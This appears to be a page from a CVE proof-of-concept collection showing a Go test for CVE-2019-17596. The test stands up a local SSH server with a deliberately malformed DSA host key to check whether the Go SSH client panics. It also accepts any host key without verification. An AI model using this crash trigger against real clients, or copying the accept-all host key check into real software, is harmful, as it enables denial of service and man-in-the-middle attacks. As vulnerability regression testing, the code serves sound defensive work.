4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ssh_test.go GO
package poc_dsa_verify_CVE_2019_17596

import (
	"fmt"
	"github.com/gliderlabs/ssh"
	"github.com/stretchr/testify/require"
	gossh "golang.org/x/crypto/ssh"
	"math/big"
	"net"
	"testing"
)

func TestSSHClientHostKey(t *testing.T) {
	port, err := getRandomPort()
	require.NoError(t, err)
	addr := fmt.Sprintf("127.0.0.1:%d", port)

	priv := examplePrivateKey()
	priv.PublicKey.Q.SetInt64(128)
	fs := &fakeSigner{
		R:      new(big.Int).SetInt64(2),
		S:      new(big.Int).SetInt64(2),
		public: priv.PublicKey,
	}

	sshSigner, err := gossh.NewSignerFromSigner(fs)
	require.NoError(t, err)
	s := &ssh.Server{
		Addr: addr,
		Handler: func(session ssh.Session) {
			defer session.Close()
			session.Write([]byte("hello world\n"))
		},
	}
	s.AddHostKey(sshSigner)
	ln, err := net.Listen("tcp", addr)
	require.NoError(t, err)
	defer ln.Close()
	go s.Serve(ln)

	clientConfig := &gossh.ClientConfig{
		HostKeyCallback: func(hostname string, remote net.Addr, key gossh.PublicKey) error {
			return nil
		},
	}

	tf := func() {
		conn, err := gossh.Dial("tcp", addr, clientConfig)
		require.NoError(t, err)
		defer conn.Close()
	}

	if isFixed(t) {
		t.Log("Using Go >= 1.13.2 -- SSH Client should work")
		require.NotPanics(t, tf)
	} else {
		t.Log("Using Go <= 1.13.2 -- SSH Client will panic and test will fail")
		require.Panics(t, tf)
	}

}